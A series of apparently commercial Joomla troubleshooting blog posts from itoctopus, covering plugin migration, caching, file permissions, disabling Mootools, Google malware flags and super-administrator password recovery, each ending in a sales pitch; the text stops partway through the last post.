The best method to fix this problem is to ensure that the method getId() is never invoked statically. Generally, static calls to non-static methods may result in stability issues and may haunt you back when you least expect it!

Now, we’re talking to you directly our valuable reader and potential client! If you are seeing errors (such as the above error or any other error) on your Joomla website and you need them fixed the right way and right away (is that a rhyme?), then look no further. Just contact us at itoctopus and you can rest assured that we’ll fix these errors in no time and with no side effects on your website! By the way, our fees are very affordable, and we’re very friendly, so you really have no excuse for not calling!

onPrepareContent and onContentPrepare in Joomla

It was around 3 AM in the morning – we were working hard on a project to meet a deadline that was set for next week, but we were stuck. The project consisted of a migration of a Joomla website from version 1.5 to version 2.5 – something that we have done hundreds of times before! But, again, we were stuck. What’s even more embarrassing is that we were stuck on the migration of a very simple content plugin. We have migrated the plugin, ensured that all the code is correct, but the plugin just won’t execute. Mind you, the plugin was activated (or published, depending on the terminology you like to use, we prefer using activated for plugins and published for content items such as articles) and the plugin was loading properly (we added an echo statement in the function plgContent[OurPlugin] and it was displaying). We knew that the solution couldn’t be easier, but we just didn’t know what was the problem!

We finally decided to re-write the plugin from scratch – yes, it was inefficient, but it was a very simple plugin and re-writing it from scratch was an easy task. Around 5 AM, we finished re-writing the plugin (again, it was very simple and the logic was all defined for us in the original plugin!) for Joomla 2.5 – we tested it and it was working! As you have probably guessed, seeing the plugin working didn’t satiate our curiosity! We needed to know why the plugin wasn’t working before!

So we compared the two plugins together and we noticed something: The first plugin had the onPrepareContent function and the second plugin had the onContentPrepare function. Needless to say, the immediate reaction to this was the usual forehead slap! Of course, Joomla 1.5 uses the onPrepareContent while Joomla 2.5 uses the onContentPrepare! The engine just ignores the plugin if this function is named incorrectly.

But why did the core team at Joomla rename this function?

Nobody knows for sure! Perhaps consistency – but we seriously doubt it. Our best guess is that it was named this way to allow for developers to create plugins that will support Joomla 1.5 and Joomla 2.5 at the same time – this makes sense because the parameters of the two functions are different (there is an additional parameter called $context in the function onContentPrepare).

But aren’t we too much experienced to make that mistake?

We are – hence the forehead slap! The fact that it was 3 AM in the morning was also probably a contributing factor to this mistake! Everyone makes mistakes – and we don’t claim to be perfect! But you can always rest assured that we will find a solution to the problem, and the solution will always be elegant!

So, if you’re migrating some very old and/or discontinued extensions and you’re facing similar problems – then fear not, you are not alone! And if you ever need help, then you can always contact us! Our fees are very affordable, our reputation is immaculate, and we really really care about our clients!

“The Global Configuration extension could not be found. Text filter settings have not been saved.” Error in Joomla

OK – we know that the title of this post is long – in fact, it is way too long, but we couldn’t find a better title for this very specific issue, so we decided that the title should be the same as the error message.

While working on a Joomla website for one our clients, we wanted to maximize error reporting and so we logged in to the backend and we went to the “Global Configuration” page and we then changed the “Error Reporting” to “Maximum” in order to display all the errors. When we clicked on the “Save” button on the top right, we were greeted with the following error:

Could not save data. Error: The Global Configuration extension could not be found. Text filter settings have not been saved.

Now this is not the first time where we’re unable to save the global configuration, but this time it was different. It had nothing to do with file permissions, as the configuration.php file was fully writable – and, in fact, the changes were being written to that file.

The cause of this problem, to make a long story short, was at the database level. The database server’s hard disk partition was full, and, as such, the database server was restricting some activities.

So, what did we do to solve the problem?

Obviously, we freed up some space on the database server (such as deleting unnecessary databases), and that solved the problem!

And, what can we do to ensure that this problem won’t happen again?

Unfortunately – nothing. The best that we can do is to monitor the free disk space on the partition hosting the database server and ensuring that it’s never close to being full. When you run out of space, you just run out of space!

Could there be other reasons for this problem?

Yes – when we researched the issue we discovered that the corruption of some tables can also cause the same problem. When this happens, a simple REPAIR TABLE command issued on the affected table(s) will usually fix the issue. (Quick advice: Be wary that the REPAIR TABLE command is very costly and can take a long time to execute on large tables. Make sure you try repairing the table first with the QUICK option and see if that fixes the problem.)

Now, if you’re unable to save the Joomla configuration even after reading the above then it’s probably time to ask for help. Just contact us and rest assured that we can solve your problem in no time. We’re fast, we’re reliable, our fees are affordable, and we’re really, really friendly!

Unable to Empty Trash in Joomla

We occasionally get contacted by customers who complain about the trashing process in Joomla; they say that they just cannot empty the trash. When we get one of these calls, we tell the customer: “Are you sure you are really emptying the trash?”

The reason why we say that is that in 99% of the cases – the person is trying to empty the trash from the wrong place (where it cannot be emptied). Here’s what happens:

  1. The person deletes a few items (such as articles, menu items, or modules).
  2. The person then changes the status (for the listing) to All (the default view - Select Status - displays published and unpublished items only, All will display published, unpublished, archived, and trashed items).

  3. The person then selects the items to be completely deleted, and then clicks on Trash on the top right menu.

  4. The items are not deleted.

The reason why this isn’t working is because the person is trashing the items again, he’s not deleting them. He’s just moving them to the trash again. It’s like picking a paper from the recycle bin, and then throwing it back…

So, what should he have done to empty the trash?

The mistake occurred in step #2 in the process above – instead of choosing All, he should have chosen Trashed; it is only when choosing Trashed where he will see the Empty Trash icon on the top right menu (instead of the Trash icon). To delete the items, the person must select the items to be completely removed, and then click on the Empty Trash button.

Note: We have noticed that some of our customers who are very new to Joomla do not select the items to be deleted before clicking on the Empty Trash button. It seems to be a common pitfall and perhaps Joomla should revise the trashing process as the term Empty Trash doesn’t imply that the person has to select anything – it just means that it’ll remove whatever is in the trash!

If you’re experiencing problems with completing removing items from your Joomla website, and if the above doesn’t work for you, then all you need to do is to contact us. We’re always there, we’re eager to help, we’re very experienced with Joomla, and we’re very affordable! What are you waiting for?

Why APC Caching in Joomla Can Cause Confusion

The project manager of a very large company that we do work for with called us this evening and told us that they are trying to update one of the modules, and while the change to that module seemed to take effect in the backend, that change wasn’t reflected in the frontend. This issue immediately reminded us of the post that we have published some time ago: my Joomla changes are not showing. But, the moment we were about to ask her if they had cleared the cache, she continued: “…and we cleared all the cache!”. This meant that we had to look elsewhere…

So, we logged in to their Joomla website, and we tried updating the module (it was a simple custom HTML module), and, sure enough, our changes were not reflected. We cleared the cache several times – but still, it didn’t work. That was odd!

We then thought – could it be that we’re working on the wrong backend? So, we made a small change on one of the articles, and that change was reflected immediately. Which meant that we were working on the right website!

We then started suspecting the module – were we changing the right module? So we disabled it, and to our surprise, the module still showed on the frontend. We then tried to find a module that had the same location in the template, but we couldn’t find any. So, the conclusion so far that we were working on the right website and the right module, but any change to the module, including the completely disabling it, was not showing up on the website.

And so we thought about caching again, but this time we looked at the global caching in the global configuration. It was set to Progressive Caching (we’ve warned against using progressive caching before), and the cache handler was set to Alternative PHP Cache (APC, and no, it’s not the famous UPS company!). The cache time was set to 15 minutes. After looking at these settings, we understood exactly what was going on…

You see, APC is a caching mechanism that runs on a lower level than Joomla – meaning that clearing Joomla’s cache will not really clear the cache, since that cache is technically handled by APC. Just to prove our point, we did a change to the module and waited 15 minutes, and when the 15 minutes elapsed, that change took effect on the frontend!

OK, so you’ve probably guessed by now what we did to solve the problem. We 1) changed caching from progressive to conservative, 2) change the cache handler to File, and 3) told the customer that whenever they needed to make a change to that module they must clear the page cache.

So, what is the wisdom that was gained from tonight’s work? In our opinion, it’s that APC causes confusion, because content managers expect (and rightly so) for their changes to immediately appear on the website when they make them (or at least after deleting the cache). So while APC is faster than regular Joomla cache, it’s not that good of an option especially if module updates are frequent.

Now, if you’re reading this because you’re having caching issues on your website, and if you still don’t know how to solve them, then why not just contact us. We’re always available, our work is swift and efficient, and our rates are very reasonable!

Note: For those of you wondering how come we didn’t set the Caching field for that particular module to No caching, we did do that, but for some reason, the module was still cached (whether we were using APC or File as cache handlers)! Could that be a bug in Joomla 2.5?

Where to Put the Google Analytics Code on Your Joomla Website

Most of our clients want to track the performance of their Joomla website – and what better way to track that performance than with Google Analytics? Google Analytics provides the website owner with a wealth of information about his website: how many visitors the websites gets per day, where these visitors are coming from, and what kind of devices these visitors are using. Google Analytics is also ideal for tracking conversions in conjunction with Google Adwords.

Google Analytics is a very easy tool for what it does, installing it, on the other hand, can be a bit tricky for those who are new to Joomla. Some try to add it in a custom HTML module which is placed in the footer of the website and assigned globally. They’re shocked to see that when they save the module, the code disappears! And they start wondering, “why did this happen?”

The reason why the code disappears is that the custom HTML module in Joomla does not accept JavaScript as input. It filters JavaScript out for security reasons. So, where does someone add Google Analytics code to his website?

There are three places where the Google Analytics code can be added:

  1. In a 3rd party module

    There are many modules in the JED (Joomla Extension Directory) that can be installed in order to add the Google Analytics code on a Joomla website. All one needs to do is to download one of these modules, install it on his Joomla website, set its parameters to reflect his Google Analytics account number, enable it on the website, and he’s good to go!

    This is probably the easiest and the most common way to add Google Analytics code, but you’ll be installing an extension (usually developed by a little known programmer) that may or may not be hacker proof! Additionally, the placement of the Analytics code may not be where you want it to be.

  2. In the template

    Adding the Google Analytics code to the website’s template is very easy: all you need to do is to go to the template manager, open the index.php file of the template that you’re using, and add the code there (near the end of the page). That’s it!

    The flip side of this is that if you change your template, you will have to copy back the code. Additionally, you (or your developer) might forget a template or two to add the code to if you have several active templates on your Joomla website.

  3. In a in-house developed system plugin

    This is our favorite way for adding Google Analytics code. It consists of developing a configurable system plugin that will automatically add the Google Analytics code to every page on the frontend of the Joomla website (in a specific place in your HTML code, just before the <body> tag). What makes it better than the previous two methods is that it’s quite easy to develop, and that it works in all conditions as long as it’s enabled. Additionally, you will be using a trusted code, which is your code, or the code of someone trustworthy! (maybe us, at itoctopus, perhaps?)

Now, if after reading our guide, you are still having problems installing the Google Analytics code on your Joomla website, then feel free to contact us. Our rates are inexpensive, our work is professional, and we are confident that we can help you!

“Warning: Unknown: failed to open stream: Permission denied in Unknown on line 0″ Error in Joomla

We’re currently having an increasing number of clients emailing us that they’re seeing the following error (repeated twice) on their homepage:

Warning: Unknown: failed to open stream: Permission denied in Unknown on line 0

The homepage doesn’t display anything else, just this message (again, the message is usually displayed twice).

So, what is the cause of this problem?

As the error message implies, the main cause of this problem is wrong permissions – usually affecting the index.php file (which is usually the first file loaded by the web server, unless there is an index.html file). The permissions on this file are wrongfully set to 000 (which means that no one can read, write, or execute that file). Normally, the index.php’s permissions should be set to 444.

Now, the 000 permissions make the issue a bit more confusing, since some file managers and FTP managers do not list files with what we call zero permission (which will inaccurately imply that the file has been deleted – while it’s not).

So how can this problem be fixed?

In order to solve the problem, you will need to first go to your file manager. If you have a cPanel powered hosting, then all you need to do is to login to your cPanel and then click on File Manager. Once you’re in the file manager, there are two ways to solve the problem, depending on whether you see the index.php file or not.

  1. If you see the index.php file

    All you need to do is to right click on the index.php and set its permissions to 444. This should fix the problem in most cases.

  2. If you don’t see the index.php file

    If you don’t see the file, then you will need to create another file (call it chmod.php and place it under the root directory of your website) which will contain the following code:

    <?php
    chmod("index.php", 0444);
    ?>

    Once the chmod.php file is created, you will need to run it by pointing your browser to http://www.yourjoomlawebsite.com/chmod.php. The problem is usually fixed when you load that page.

What if the problem is still not fixed, even after doing the above?

If, even after you change the permissions of the file, the problem still exists, then it might be possible that your user (or Apache) doesn’t have the right permissions to make those permissions changes (we know, we’re using the word permission abundantly in this post!). In this case, you should delete the file and then re-create it from a guaranteed-to-be-working backup. In order to do that, you will need first to grab, from Joomla’s official website, a clean copy of the exact Joomla version that you’re using.

Now, if you’re able to see the index.php, then all you need to do is to delete it and then re-upload it from the clean copy of Joomla that you’ve just installed. If you’re not able to see the index.php file, then you’ll first need to write a small PHP script to unlink (delete) the file from the website before uploading the clean index.php that you have.

Which versions of Joomla have this problem?

We have noticed that not all versions of Joomla have this problem. In fact, the versions affected are Joomla 1.5 builds that are less or equal to 15 (e.g. Joomla 1.5.0 until Joomla 1.5.15).

But what is the root cause of the problem?

There are two things that might cause this issue:

  1. A malicious attack on the website exploiting the many vulnerabilities of old Joomla 1.5 builds.
  2. Some poorly written (and legacy) extensions that behave erratically under some conditions.

What is the long term solution to the problem?

There are two long term solutions to the problem:

  1. Upgrading the Joomla website to the latest version, which ensures that the website is kept up-to-date with the latest patches.
  2. Locking write activities on the Joomla website by switching to DSO. This is a good option in case you cannot afford an expensive migration.

We hope that you found this guide useful. Now, if you’re having the same problem and you’re not able to fix it by following our guide, then feel free to contact us. We’re always read to help, our rates are affordable, and we are the friendliest developers on this planet (seriously, try us!).

What Is the Worst Joomla Version?

Some time ago, we have written a post on the best Joomla version – we said that is was Joomla 2.5 (in case you don’t have time to read the post). Since then, we had some of our customers ask us, “what is the worst Joomla version?”

Before answering, you probably might think we are going to say that it’s Joomla 1.5 – but it’s not. In fact, in our opinion, Joomla 1.5 is the second best Joomla version, and the proof is that it’s still used by literally millions of websites out there, and those with Joomla 1.5 are very hesitant to migrate to Joomla 2.5, despite the fact that Joomla 1.5.26 has been deemed insecure as of May of 2012.

So, what is the worst Joomla version?

Without any further delay, we think it’s Joomla 1.6. Here’s why:

  • Joomla 1.6 is buggy

    All the work that we get on Joomla 1.6 is usually related to a bug in its core. What we do is we usually modify the core (something that we don’t like to do) to fix the issue. The issues that we’ve seen on Joomla 1.6 are numerous, but the most recurring issue that we’ve seen is described in the next point below…

  • Joomla’s 1.6 ACL is completely unstable

    One of the most prominent differences between Joomla 1.6 and Joomla 1.5 is the ACL (Access Control List). Joomla 1.5 didn’t have an ACL per-se, it just had an ACL look-alike. Joomla’s 1.6 ACL is a real ACL but unfortunately, it is very badly written, which results in instability issues affecting the whole website. The most common issue when it comes to the ACL is when people are getting more/less permissions than explicitly assigned.

    On the same note, one of our top clients (an extremely well known Fortune 500 company) is currently suffering from an ACL issue on one of its microsites (it’s a Joomla 1.6 microsite used by its staff). We’re working with them to resolve the issue.

  • Joomla 1.6 cannot be easily upgraded to Joomla 2.5

    Forget about official statements telling end users that Joomla 1.6 can be easily upgraded to Joomla 2.5. According to our experience, it cannot! In fact, on several occasions, we had to treat an update from Joomla 1.6 to Joomla 2.5 as a migration! (read about the difference between an update, an upgrade, and a migration here.)

  • The lifetime of Joomla 1.6 was only 7 months

    Joomla 1.6 was released on January of 2011. Its support was ceased on August of 2011, that gives this CMS a lifetime of only 7 months. Compare that to the lifetime of Joomla 1.5 which was about 5 years, and to that of Joomla 1.0 which was slightly less than 4 years. Clearly, product management at Joomla did not trust and did not like this version to give it this extremely short lifespan!

  • Joomla 1.6 was not widely adopted by end users

    Out of every 100 tasks/projects that we get, we have only 3 or 4 of them on websites that run Joomla 1.6 – a clear evidence that Joomla 1.6 was not widely adopted by Joomla’s large community.

  • Joomla 1.6 was not widely adopted by 3rd companies

    Yes – we know that most extensions out there state that they support Joomla 1.6. But this support is by accident, it’s because Joomla’s 1.6 infrastructure is very similar to that of Joomla 2.5. So, when these 3rd party companies develop an extension for Joomla 2.5, this extension usually automatically works on Joomla 1.6. This doesn’t mean, however, that this extension is stable on that platform because the platform, in and for itself, is not stable (as described earlier).

But what about Joomla 1.7, isn’t it even worse than Joomla 1.6?

Well, in fact, Joomla 1.7 is actually slightly better than Joomla 1.6. It still has some ACL issues and it’s still a bit buggy (and it had the same lifetime), but it’s generally better than Joomla 1.6. This makes Joomla 1.7 the second worst Joomla version!

Now, if you’re stuck with Joomla 1.6 (or Joomla 1.7, for that matter) and you have problems with your website, then you can always contact us! We’re fast, we’re efficient, we know our Joomla, and our fees are competitive.

Note: We still perceive Joomla 3.0 as a beta product and that’s why it wasn’t mentioned in this post. Had this not been the case (e.g. if we did perceive it as a production product), then most likely Joomla 3.0 would have won the worst Joomla version medal, as its stability issues are much more severe than those of Joomla 1.6.

Global Check-in Does Not Work in Joomla 2.5

Note: This post is targeted at absolute beginners in Joomla as we have noticed that the “global check-in not working” issue is extremely common for those who are very new to Joomla.

We get regular calls from some of our customers who are very new to Joomla complaining that they cannot perform a global check-in on their website. We immediately recognize the issue and so we tell them: “Are you sure you selected all the database tables and clicked on Check-in on the top right?”. The answer that we get from them is usually: “Where can I do that?”

You see, the global check-in functionality in Joomla 2.5 is confusing, because those new to Joomla think that the global check-in is done simply by clicking on the Site -> Maintenance -> Global Check-in link on the top menu. The thing is, performing a global check-in consists of the following steps:

  1. Clicking on Global Check-in under Site -> Maintenance on the top menu.

  2. Clicking on the checkbox next to Database Table (on the page that appears when you click on the above link) to select (or check) all the tables in your database.

  3. Clicking on Check In on the top right.

  4. That’s it!

So, why do those new to Joomla omit the steps after Step 1?

We believe it’s because of the orange check-mark that appears on the page once they click on the Global Check-in link in the first step. Take a look at this:

Global check-in

Figure 1: Global check-in

Doesn’t the above picture imply that the check-in has already been done because of the orange tick? We believe so, and we believe that our clients are right in getting confused when the process doesn’t work for them by just clicking on the link in the first step. Which takes us to our next question…

Why is the global check-in a multi-step process?

Is it really necessary to give users the flexibility to choose which tables they want to apply the global check-in to? We know for a fact that in 99% of the cases, when someone does a global check-in, he wants to do a global check-in globally (e.g. on all the tables). We think that Joomla’s product managers should revise the current process for check-in and make it a single-step process.

If you are trying to do a global check-in and it’s not working for you by following the above steps, then there’s also another way to do it by setting the checked_out field to 0 in the affected tables (e.g. the tables containing the items you’re not able to check-in) using phpMyAdmin. If you need help doing this then all you need to do is to contact us. We will do it for you in no time and we’ll only charge you for an hour!

Is There a Way to Become a Joomla Certified Developer?

Some of our more technical clients tell us that they want to become certified in Joomla. They ask us if such a certification exists – and if it does – how can one become certified.

Our answer is always as follows: There is no official certification in Joomla. There are some commercial companies offering certifications in Joomla, but these certifications are not official, and, as such, do not carry real weight in the professional world. In short, there is no way to officially become a Joomla Certified Developer.

But, how come there is no official certification for Joomla even though it’s been there for several years now and is being used by millions of websites?

The answer to this question is simple: Joomla, in its core, is quite an easy product. Here’s what one needs to know about Joomla to know almost everything about Joomla:

  • What are components, modules, and plugins

  • How to create articles/categories

  • How to create menus and menu items

  • How to create a module and assign that module to a menu item

  • How to install extensions

  • How to change the template

  • How edit a template

  • How to work with plugins

  • How to work with ACL

Believe it or not – the above is all what Joomla is about in a basic installation. One doesn’t need to get certified to know how to work with Joomla – he can learn everything about it in one afternoon.

But is Joomla really that simple? If it is, then how come there are 3rd party companies such as itoctopus supporting Joomla?

Well, Joomla’s complexity is proportional to the number and the complexity of the 3rd party extensions installed. The more you have of those installed on your website, the harder it becomes to work on it (and the harder it becomes to debug it). Some examples of Joomla’s extremely advanced extensions are: sh404, JomSocial, JFusion (yes – JFusion can be quite complicated – check this post on eFront’s integration with Joomla), etc…

But since Joomla can be quite complex, shouldn’t that be reason enough for it to have a certification?

As stated earlier, Joomla, in and for itself, is quite easy. It only becomes complex when you have 3rd party extensions installed, and it’s unrealistic to expect Joomla, as an organization, to issue a certification that will take complex 3rd party extensions into consideration.

Are there plans for an official Joomla certification at any point in the future?

Currently, there aren’t, and we don’t expect to see such a certification in the near future, simply because the aim of the Joomla team is to maintain a product that is easy to use by anyone, but that can be customized, with unofficial extensions, to do anything!

But what about Joomla experts – how did they become experts?

These people became Joomla experts because 2 things:

  • Their fluency in PHP

  • Their long time exposure to Joomla

At itoctopus, we are proud to say that we have reached the expertise level in Joomla a long time ago. So, if you need anything on your Joomla website, then be confident that we, at itoctopus, can do it for you! All you need is to do is to contact us and you can rest assured that neither we nor our fees will disappoint you!

Can Joomla Be Used to Build a Social Networking Website?

We are getting an increasing number of requests from clients asking us to build a social networking website (à la Facebook – but on a smaller scale), with Joomla. Here’s how the first conversation between us and these clients goes:

“Hello, my name is John Smith, and I was thinking you might be able to help me.”

“Hi John – how we may help you?”

“I would like to build a social networking website with Joomla since I’m comfortable with this CMS – do you think it’s possible?”

“It’s certainly possible John!”

And then the conversation continues and we discuss the nature of the website (what will the website be about), the target audience, the cost to develop the website, and the time it takes to develop it…

So, how do we build a social networking website from scratch for our clients?

Well, the process consists of the below steps:

Step 1 – Find the right environment for the website

A social networking website powered by Joomla must have the right (hosting) environment. In other words, it must have access to a lot of physical resources on the server hosting it (social websites tend to grow exponentially when they succeed), it must be able to connect to MySQL, it must be powered by the right web server, and it must enjoy a lot of bandwidth. (We have discussed Joomla’s ideal environment before – see here.)

Step 2 – Install Joomla

Once we know where the Joomla website will be hosted, we start the installation process. Our super-fast Joomla installation process consists of the following steps:

  • Downloading the latest version of Joomla (we currently use Joomla 2.5 and we’re avoiding Joomla 3.0 because of stability issues)

  • Uploading the zip file containing Joomla (that we just downloaded) to the hosting server using cPanel’s File Manager

  • Extracting the zip file (using the Extract tool in cPanel’s File Manager) that was just uploaded a directory called testwebsite right under the location where the Joomla website will eventually reside

  • Creating the database using the MySQL Databases tool in cPanel

  • Creating a database user and give that user access to the database created in the previous step

  • Configuring Joomla by going to http://www.yourjoomlawebsite.com/testwebsite (this is where Joomla asks you which language to use, which database to connect to, what will be the name of the website, and what will be the password of the main super user)

After installing Joomla, we are ready to move to the next step, which is choosing a template.

Step 3 – Choose a template for the Joomla website

Once Joomla’s installation is done – a quick and important question arises: “How will the website look like?”

A template defines how a website looks and there are plenty of free and commercial Joomla templates out there. The free ones are good but not great, but the commercial ones are usually very beautiful and give the website a professional and expensive look.

Many clients are able to find a free or commercial Joomla template that fits their needs. But some clients are much more selective, or need an exclusive look and feel for their website, and that’s why we connect them with a designer (Note: We have no designers working for us – which means that we cannot be held accountable for their work, even if we’re the ones connecting them with our clients. Our clients are always free to go with a designer of their choice) who will be able to help them. These clients then communicate with the designer directly, who develops the template based on their needs, and eventually sends the template to us.

Once we have the template, all we need to do is to install it through Joomla’s backend, which is quite an easy and smooth task (unless, of course, there are some errors in the template’s manifest file).

Step 4 – Install JomSocial

JomSocial, for those who do not know, is a commercial extension that will integrate all the functions of a fully fledged social networking website with Joomla.

In order to install JomSocial, all one needs is to download it (after paying for it) from the JED (the Joomla Extensions Directory), and then install it from Joomla’s backend.

Now, after JomSocial is installed, then the client might ask the designer to make some modifications to the template to accommodate JomSocial. This is especially the case when the designer has no idea how the website will look like once JomSocial is installed.

It’s unbelievable that this small and easy step is what makes a Joomla website a social networking website – don’t you agree? That’s saying something about the power and the versatility of Joomla!

Step 5 – Modify JomSocial to accommodate the needs of our client

Many clients have specific features to implement on their new website – and that’s why standard features won’t cut it for them. This is where our job gets very exciting as our clients will ask us to implement their vision of their new social networking website into JomSocial! What we do is we either modify JomSocial’s core and/or develop new extensions that will work in harmony with JomSocial to complement that vision!

Step 6 – Test the website

Once all the pieces are in place, we start the testing. There are two types of testing:

  1. Technical testing

    “Technical testing” is done on our end and its aim is to unveil bugs (such as MySQL errors, blank pages, 404 errors, internal server errors, etc…) All bugs are fixed on the spot in this type of testing.

  2. Business logic testing

    “Business logic testing” is done on the client’s end to ensure that all the functionality is there and that the website is doing what it should. In short, “Business logic testing” is checking whether the business logic requested by the client is all there, is not broken, and is fulfilling the agreed-on specifications. At the end of “Business logic testing”, our clients will send us a report containing all the issues that they faced for us to address.

Needless to say, we retest the whole website after fixing technical bugs or logical bugs because a fix might have an undesirable effect on other areas of the website.

Step 7 – Move the website to production

When all the testing is done and when our client gives us the go-ahead, we move the website to production. The move to production consists of physically moving the website from the testwebsite directory to the root directory. This means that the website’s URL, at this point, will be http://www.yourjooomlawebsite.com/ instead of http://www.yourjoomlawebsite.com/testwebsite. And that’s it! We’re done!

So, is the process of building a social website from scratch in Joomla hard? We don’t think so – but we don’t think it’s easy either. It’s better to ask for help If you’re trying to build your own social networking website with Joomla – and where better to find that help than right here, at itoctopus? Just contact us and we’ll help you build your own social networking website with Joomla in record time and for a reasonable fee. By the way, our biggest achievement is to have our clients thrilled with the end result. Try us!

How to Disable Mootools in Joomla

Warning: Mootools is a well known (and very stable) JavaScript library that is used to support many client-side activities on Joomla. Disabling it/removing it (or replacing it with another library) might cause a lot of instability on your Joomla website and may render your Joomla website (especially its backend) completely inoperable. Please proceed carefully and, needless to say, at your own risk!

Some of our clients with advanced technical skills (who sub-contract to us) sometimes ask us to disable mootools on a Joomla website. We respond that it can be done, but at their own risk, since a lot of Joomla behavior (especially in the backend) is powered by mootools. So they tell us that they want to proceed anyway… Now the question is, how do we do it?

Well, there are several methods to do disable mootools on a Joomla website:

Method #1: Delete the mootools files

This method simply consists of deleting (through FTP) the mootools files that are included by Joomla. The mootools files to be deleted are the following:

  • The mootools-core.js JavaScript file which is located under the /media/system/js directory.
  • The core.js JavaScript file which is also located under the media/system/js directory.

The main advantages of this method is that it’s super fast, but on the flip side, you will be deleting a core Joomla file that you may need later!

Method #2: Comment out the inclusion of mootools in Joomla’s core

As mentioned earlier, the mootools JavaScript library is included in the file behavior.php which is located under the /libraries/joomla/html/html directory. So, to comment out the inclusion of mootools, all you need to do is to comment out the following lines (lines 60-61) in the aforementioned file:


JHtml::_('script', 'system/mootools-' . $type . '.js', false, true, false, false, $debug);
JHtml::_('script', 'system/core.js', false, true);

This method is better than the first one because we are only commenting the inclusion of the files, and not deleting the files. The downside of this method, however, is that we are changing a core file (behavior.php). At itoctopus, changing core files is always a last resort option when everything else fails!

Method #3: Develop a system plugin that will unload mootools

In our opinion, developing a system plugin that will unload the mootools library is the best option (and it’s what we do). This is because you won’t be deleting any file and you won’t be changing a core Joomla file. Additionally, this whole thing (disabling mootools) can just be reversed/applied by just disabling/enabling the plugin!

This plugin is fairly simple. The XML manifest file is straightforward (just copy and paste the XML file of any simple system plugin [such as the sef plugin], change the name, and modify the necessary parameters to reflect the name change of that plugin), as for the PHP file, it’ll only need the following 5 lines of code in the onAfterRender function:


$objDocument = &JFactory::getDocument();
$arrHeadData = $objDocument->getHeadData();
unset($arrHeadData['scripts'][JPATH_ROOT.DIRECTORY_SEPARATOR.'media'.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.'js'.DIRECTORY_SEPARATOR.'mootools-core.js']);
unset($arrHeadData['scripts'][JPATH_ROOT.DIRECTORY_SEPARATOR.'media'.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.'js'.DIRECTORY_SEPARATOR.'core.js']);
$objDocument->setHeadData($arrHeadData);

That’s it! Super simple, huh?

By the way, another advantage of using a system plugin is that it can be applied for specific components (and not the whole website). Also, with a system plugin, we can specify whether we want it to take effect on the frontend, the backend, or both (the code above will apply it on both because there’s no condition explicitly telling it to take effect exclusively on the frontend or exclusively on the backend).

But why would anyone want to disable mootools?

The main reason that anyone may want to disable mootools is if it’s causing conflicts on the website with another JavaScript library (which might be a previous version of mootools). We’ve seen this happening frequently on migrations from Joomla 1.5 to Joomla 2.5.

Now, if you’re reading the above and it seems like it’s written in a foreign language, then fear not, you’re certainly not alone, because this post is a bit technical! In any case, you can always contact us and we will definitely help you! Our rates are affordable, our work is swift and professional, and we really love to serve our clients!

What To Do When Your Joomla Website Is Flagged As Malware by Google

Often these days, clients call us after we unhack their Joomla website and tell us that it’s still hacked! So we examine their website and discover that the website is clean. We communicate to them our results, and they get back to us shortly and they say that when they go to their website on Chrome they see something like the following:

Chrome Website Warning

Figure 1: Chrome Warning

So we explain to our clients how Google works with hacked websites:

  1. When the website is first hacked, Google gives that website the benefit of the doubt – something like a grace period to allow the owner/administrator of the website to take action. During that grace period, Google’s penalty will be restricted to new pages on the website (they will not be indexed), old pages on the website, however, will maintain their rankings.
  2. If the website is not fixed within that grace period (most likely because the website admin did not notice, which is usually the case especially when it’s a Googlebot hack), then Google will label the website as malware in its search engine results (which means that the message This website contains malware or This site may be compromised will be next to each listing belonging to this website). The (bad) reputation of the website will be communicated to FireFox and to Google Chrome – both browsers will show warning messages to visitors, telling them not to visit the website (or to visit the website at their own risk). Google usually sends a warning to the site administrator at this point telling him that his website is hacked.

  3. If the site administrator ignores the issue for one reason or the other, then Google will penalize the website by shifting listings pertaining to this website to the third or the fifth page of the search results. This is called the +30 or the +50 penalty. This penalty will be in addition to previous penalties.

  4. When some time goes by after the +30 or the +50 penalty, then Google will deem this website as unimportant (if it was important then the site administrator would have taken immediate action to address the issue) and will completely delist it from its search results.

In most cases, our clients tell us to fix their websites when their website reaches step 2 in the Google’s website flagging process above – which means that they contact us when their website has already been labeled as hosting malware. Which, in its turn, means that when we fix the website, those flags won’t be removed until Google re-checks the website and verifies that it’s clean – which may happen in a day, a week, or even a month!

Now, the question is, is there a way to expedite the unflagging of your Joomla website?

In fact, there is. All you need to do is to submit what Google calls a reconsideration request which can be done from Google’s Webmaster Tools. Keep in mind that asking Google to reconsider your website will not automatically unflag it, but it will bring the website to the attention of some (human) professionals who may unflag the website before the automated process does.

Is the website redeemable once its past point 2 in Google’s website flagging process?

It is redeemable, but the more you wait, the harder and longer it’ll be to restore your website’s reputation with Google. It may take several months (even a year), along with several petitions and reconsideration requests for some websites to be re-indexed with Google.

If your hacked Joomla website was fixed but you still see that Google and some browsers are warning against using it, then we suggest you give it some time until Google lifts the warning. If your website, after a week or so of fixing it, is still labeled as containing malware, then most likely it was not cleaned properly the first time or it was re-hacked. We suggest you contact us to address the problem for you. We are security experts on Joomla, we are fast, we are reliable, and our fees are quite affordable!

“A Super Administrator Can’t Request a Password Reminder” Error in Joomla

Note: This post only applies to Joomla 2.5.

We got an email very early this morning from one of our regular customers. Here’s the email (minus, of course, our customer’s information):

“Hi,

I’m not able to reset my password. When I try to reset it using the password reminder tool I get the following error:

A Super Administrator can’t request a password reminder. Please contact another Super Administrator or use an alternative method.

Can you help? (as usual!)”

Clearly, it was a frustrating issue – if a super administrator can’t reset his password, who can? And what are these alternative methods?

Unfortunately for our client, he was the only super administrator on the website (he didn’t give super administrator access to anyone else, which is a good practice for small websites), so he can’t just ask another super administrator to reset his password through the backend. But fortunately, he has us, and we know that there are multiple alternative methods to overcome this issue.

Method #1: Get rid of the error

Yes, you can get rid of the error and allow a super administrator to use a password reminder. Here’s what needs to be done:

  • Connect through FTP to the website.
  • Open the file reset.php which is located under the components/com_users/models directory.

  • Comment out lines 340-343 in that file by adding /* at the beginning of line 340 and */ at the end of line 343. So these lines will look like the following:


    /* if ($user->authorise('core.admin')) {
    $this->setError(JText::_('COM_USERS_REMIND_SUPERADMIN_ERROR'));
    return false;
    }*/

  • Save the file reset.php and upload it back.

  • Try to reset your password using a password reminder (it’ll work).

  • Revert back the changes that you made to the reset.php file once your password is resetted.

This method is good, but requires changing a native Joomla file – something that we recommend our customers to avoid when there are better alternatives.

Method #2: Reset the password through a script

This method means that the website owner must develop a PHP script that connects to his database, gets the id of the super administrator, and updates the password field with an md5 hash of his selected password.

